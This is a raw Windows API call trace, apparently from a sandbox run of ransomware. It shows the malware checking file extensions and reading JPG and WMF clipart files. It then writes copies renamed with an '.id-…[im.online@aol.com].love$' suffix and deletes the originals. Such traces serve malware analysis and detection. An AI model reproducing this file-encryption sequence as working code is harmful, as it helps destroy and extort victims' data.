Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.695] lstrlenW (lpString=".doc") returned 4 [0264.695] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.695] lstrlenW (lpString=".docx") returned 5 [0264.695] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0264.695] lstrlenW (lpString=".pdf") returned 4 [0264.695] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.695] lstrlenW (lpString=".xls") returned 4 [0264.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.696] lstrlenW (lpString=".xlsx") returned 5 [0264.696] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0264.696] lstrlenW (lpString=".ppt") returned 4 [0264.696] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.696] lstrlenW (lpString=".zip") returned 4 [0264.696] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.696] lstrlenW (lpString=".rar") returned 4 [0264.696] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.696] lstrlenW (lpString=".bz2") returned 4 [0264.696] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.696] lstrlenW (lpString=".7z") returned 3 [0264.696] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.696] lstrlenW (lpString=".dbf") returned 4 [0264.696] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.697] lstrlenW (lpString=".1cd") returned 4 [0264.697] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.697] lstrlenW (lpString=".jpg") returned 4 [0264.697] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.698] lstrlenW (lpString=".doc") returned 4 [0264.698] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.698] lstrlenW (lpString=".docx") returned 5 [0264.698] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0264.698] lstrlenW (lpString=".pdf") returned 4 [0264.698] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.698] lstrlenW (lpString=".xls") returned 4 [0264.698] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.698] lstrlenW (lpString=".xlsx") returned 5 [0264.698] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0264.698] lstrlenW (lpString=".ppt") returned 4 [0264.698] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.698] lstrlenW (lpString=".zip") returned 4 [0264.699] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.699] lstrlenW (lpString=".rar") returned 4 [0264.699] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.699] lstrlenW (lpString=".bz2") returned 4 [0264.699] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.699] lstrlenW (lpString=".7z") returned 3 [0264.699] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.699] lstrlenW (lpString=".dbf") returned 4 [0264.699] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.699] lstrlenW (lpString=".1cd") returned 4 [0264.699] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.699] lstrlenW (lpString=".jpg") returned 4 [0264.700] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.700] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0264.700] lstrlenW (lpString="J0099157.JPG") returned 12 [0264.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.702] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9671) returned 1 [0264.702] CloseHandle (hObject=0x42c) returned 1 [0264.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0264.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.704] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.704] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0264.900] GetLastError () returned 0x0 [0264.900] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x25c7, lpOverlapped=0x0) returned 1 [0264.932] WriteFile (in: hFile=0x580, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x25d0, lpOverlapped=0x0) returned 1 [0264.935] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.935] WriteFile (in: hFile=0x580, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0264.935] SetEndOfFile (hFile=0x580) returned 1 [0264.936] CloseHandle (hObject=0x580) returned 1 [0264.936] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.936] SetEndOfFile (hFile=0x42c) returned 1 [0264.941] CloseHandle (hObject=0x42c) returned 1 [0264.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0264.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.944] lstrlenW (lpString=".doc") returned 4 [0264.944] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.944] lstrlenW (lpString=".docx") returned 5 [0264.944] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0264.944] lstrlenW (lpString=".pdf") returned 4 [0264.945] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.945] lstrlenW (lpString=".xls") returned 4 [0264.945] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.945] lstrlenW (lpString=".xlsx") returned 5 [0264.945] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0264.945] lstrlenW (lpString=".ppt") returned 4 [0264.945] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.945] lstrlenW (lpString=".zip") returned 4 [0264.945] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.945] lstrlenW (lpString=".rar") returned 4 [0264.945] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.945] lstrlenW (lpString=".bz2") returned 4 [0264.945] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.945] lstrlenW (lpString=".7z") returned 3 [0264.945] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.945] lstrlenW (lpString=".dbf") returned 4 [0264.945] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.946] lstrlenW (lpString=".1cd") returned 4 [0264.946] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.946] lstrlenW (lpString=".jpg") returned 4 [0264.946] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.946] lstrlenW (lpString=".doc") returned 4 [0264.946] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.946] lstrlenW (lpString=".docx") returned 5 [0264.946] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0264.946] lstrlenW (lpString=".pdf") returned 4 [0264.946] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.946] lstrlenW (lpString=".xls") returned 4 [0264.947] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.947] lstrlenW (lpString=".xlsx") returned 5 [0264.947] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0264.947] lstrlenW (lpString=".ppt") returned 4 [0264.947] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.947] lstrlenW (lpString=".zip") returned 4 [0264.947] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.947] lstrlenW (lpString=".rar") returned 4 [0264.947] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.947] lstrlenW (lpString=".bz2") returned 4 [0264.947] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.947] lstrlenW (lpString=".7z") returned 3 [0264.947] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.948] lstrlenW (lpString=".dbf") returned 4 [0264.948] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.948] lstrlenW (lpString=".1cd") returned 4 [0264.948] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0264.948] lstrlenW (lpString=".jpg") returned 4 [0264.948] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.948] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0264.948] lstrlenW (lpString="J0099159.WMF") returned 12 [0264.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.951] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=27546) returned 1 [0264.951] CloseHandle (hObject=0x42c) returned 1 [0264.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0264.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.953] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.953] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0264.956] GetLastError () returned 0x0 [0264.956] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0264.960] WriteFile (in: hFile=0x580, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0264.962] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.962] WriteFile (in: hFile=0x580, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0264.962] SetEndOfFile (hFile=0x580) returned 1 [0264.962] CloseHandle (hObject=0x580) returned 1 [0264.963] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.963] SetEndOfFile (hFile=0x42c) returned 1 [0266.160] CloseHandle (hObject=0x42c) returned 1 [0266.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0266.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.852] lstrlenW (lpString=".doc") returned 4 [0266.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString=".docx") returned 5 [0266.853] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0266.853] lstrlenW (lpString=".pdf") returned 4 [0266.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString=".xls") returned 4 [0266.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.853] lstrlenW (lpString=".xlsx") returned 5 [0266.853] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0266.853] lstrlenW (lpString=".ppt") returned 4 [0266.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.853] lstrlenW (lpString=".zip") returned 4 [0266.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.853] lstrlenW (lpString=".rar") returned 4 [0266.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString=".bz2") returned 4 [0266.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString=".7z") returned 3 [0266.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.853] lstrlenW (lpString=".dbf") returned 4 [0266.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.853] lstrlenW (lpString=".1cd") returned 4 [0266.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.854] lstrlenW (lpString=".jpg") returned 4 [0266.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.854] lstrlenW (lpString=".doc") returned 4 [0266.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.854] lstrlenW (lpString=".docx") returned 5 [0266.854] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0266.854] lstrlenW (lpString=".pdf") returned 4 [0266.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.854] lstrlenW (lpString=".xls") returned 4 [0266.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.854] lstrlenW (lpString=".xlsx") returned 5 [0266.854] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0266.854] lstrlenW (lpString=".ppt") returned 4 [0266.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.854] lstrlenW (lpString=".zip") returned 4 [0266.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.854] lstrlenW (lpString=".rar") returned 4 [0266.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.854] lstrlenW (lpString=".bz2") returned 4 [0266.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.855] lstrlenW (lpString=".7z") returned 3 [0266.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.855] lstrlenW (lpString=".dbf") returned 4 [0266.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.855] lstrlenW (lpString=".1cd") returned 4 [0266.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0266.855] lstrlenW (lpString=".jpg") returned 4 [0266.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.855] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0266.855] lstrlenW (lpString="J0099166.JPG") returned 12 [0266.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.857] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=64767) returned 1 [0266.857] CloseHandle (hObject=0x4ac) returned 1 [0266.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0266.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.858] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0266.860] GetLastError () returned 0x0 [0266.860] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xfcff, lpOverlapped=0x0) returned 1 [0266.866] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xfd00, lpOverlapped=0x0) returned 1 [0266.869] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0266.869] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0266.869] SetEndOfFile (hFile=0x4e4) returned 1 [0266.870] CloseHandle (hObject=0x4e4) returned 1 [0266.870] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.870] SetEndOfFile (hFile=0x4ac) returned 1 [0266.877] CloseHandle (hObject=0x4ac) returned 1 [0266.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.880] lstrlenW (lpString=".doc") returned 4 [0266.880] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.880] lstrlenW (lpString=".docx") returned 5 [0266.880] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0266.880] lstrlenW (lpString=".pdf") returned 4 [0266.880] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.880] lstrlenW (lpString=".xls") returned 4 [0266.880] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.880] lstrlenW (lpString=".xlsx") returned 5 [0266.880] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 